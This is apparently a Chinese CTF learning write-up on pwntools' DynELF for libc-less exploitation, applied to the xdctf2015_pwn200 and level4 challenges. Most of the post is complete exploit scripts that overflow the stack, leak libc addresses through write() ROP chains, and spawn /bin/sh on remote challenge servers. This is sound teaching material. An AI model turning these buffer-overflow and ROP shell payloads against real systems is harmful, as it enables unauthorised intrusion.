DynELF 学习(1) write:

例子 level4 和 xdctf2015_pwn200(buu)

无 libc 环境
pwntools库 DynELF 的使用

DynELF是pwntools中专门用来应对无libc情况的漏洞利用模块

通过构造:def leak(address) 函数 不断泄露libc空间的信息 从而知道libc地址

使用条件:

1. 目标程序存在可泄露的 libc空间的漏洞
2.可以反复触发的漏洞 不断泄露libc地址

write

write 有三个参数 write(fd,addr,len),len为打印长度 ,addr为起始地址,在x64下要三个gatget 寻找起来可能有些困难,这里学习了下__libc_csu_init函数的通用gadget 不是原来直接pop出栈传参而是利用几段代码达到效果

具体参考大佬文章
__libc_csu_init函数的通用gadget--Ox9A82

模板:
p = process('./xxx')
def leak(address):
  payload  = 'xxxxxxx'+ addresss + 'xxxxxxx'
  p.send(payload)
  ####各种处理如接受字符
  data = p.recv(4)
  #log.debug("%#x => %s" % (address, (data or '').encode('hex')))
  return data
d = DynELF(leak,elf=ELF('./xxx'))
system_addr = d.lookup('system','libc')

需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码

这里举出两个例子来 展示 def leak函数的写法

level4:

无libc,考虑用DynELF

payload 编写和栈溢出差不多 把要泄露的地址 改成address 利用leak 函数不断泄露 libc空间内的信息

这个地方有点小坑 要接受完 发送的数据不然会卡住

leak 后要用start 恢复初始状态 ppp 三个gadget 可以用ROPgadget找到

使得rbp指向 system函数

DynELF 用法都要自己发送 (’/bin/sh‘)

from pwn import * 
context(os='linux',arch='i386')
n = input()
if n==0:
    io = process('./bof')
elif n==1:
    io = remote('node3.buuoj.cn',27873)
#io = process('./bof')
elf = ELF('./bof')

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x080484D6
start_addr = 0x080483E0
ppp_addr=0x08048629
bss_addr = elf.bss()
#gdb.attach(io,'b * main')
def leak(address):
    payload1 = 112 * 'A'+p32(write_plt)+p32(vuln_addr)+p32(1)+p32(address)+p32(4)
    #io.recvuntil('Welcome to XDCTF2015~!\n')
    io.send(payload1)
    data = io.recv(4)
    #print "%#x => %s" % (address, (data or '').encode('hex'))
    return data
  
print io.recvuntil('Welcome to XDCTF2015~!\n')#接受完数据不然会卡住
d = DynELF(leak,elf=ELF('./bof'))
system_addr = d.lookup('system','libc')

payload2 = 'A' * 112 + p32(start_addr)
io.send(payload2)

payload3=112 * 'A'+p32(read_plt)
payload3+=p32(ppp_addr)+p32(0)+p32(bss_addr)+p32(0x8)
payload3+=p32(system_addr)+p32(0xdeadbeef)+p32(bss_addr)

io.send(payload3)
io.send('/bin/sh\x00')
io.interactive()

level4

写法也差不多 这里就不需要接收完数据(有点不懂)而且远程打得通本地打不通过可能跟libc有关

leak 后不是要start恢复栈空间 这里直接把start写进 leak函数里面

后面vuln函数换成start 一直恢复初始状态

from pwn import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./level4')
n = input()
if n==0:
    io = process('./level4')
elif n==1:
    io = remote('node3.buuoj.cn',25871)

write_got = elf.got['write']
write_plt = elf.plt['write']
main_addr = elf.symbols['main']
read_plt = elf.plt['read']
vuln_addr = 0x0804844B
start_addr = 0x08048350 
bss_addr = elf.bss()
def leak(address):
    payload1 = flat([(0x88+4)*'A',write_plt,start_addr,0x1,address,0x4])
    io.send(payload1)
    data = io.recv(4)
    return data
d = DynELF(leak,elf=ELF('./level4'))
system_addr = d.lookup('system','libc')

payload2 =flat([(0x88+4)*'A',read_plt,start_addr,1,bss_addr,0x8])
io.send(payload2)
io.send("/bin/sh\x00")

payload3 = flat([(0x88+4)*'B',system_addr,0xdeadbeef,bss_addr])
io.send(payload3)
io.interactive()

这里再写一种原本的LibcSearcher 写法:

from pwn import *
from LibcSearcher import *
context(os='linux',arch='i386',log_level='debug')
elf = ELF('./level4')
write_got = elf.got['write']
write_plt = elf.plt['write']
vuln_addr = 0x0804844B
main = elf.sym['main']

n = input()
if n==0:
    io = process('./level4')
elif n==1:
    io = remote('node3.buuoj.cn',25871)

payload1 = flat([(0x88+4)*'A',write_plt,main,0x1,write_got,0x4])
io.send(payload1)
write_addr = u32(io.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_sh = libc_base + libc.dump('str_bin_sh')
payload2 = flat([(0x88+4) * 'B', system_addr,0xdeadbeef,binsh_sh])
io.send(payload2)
io.interactive()

参考:

借助DynELF实现无libc的漏洞利用小结
__libc_csu_init函数的通用gadget--Ox9A82


山鸟和鱼不同路,从此山水不相逢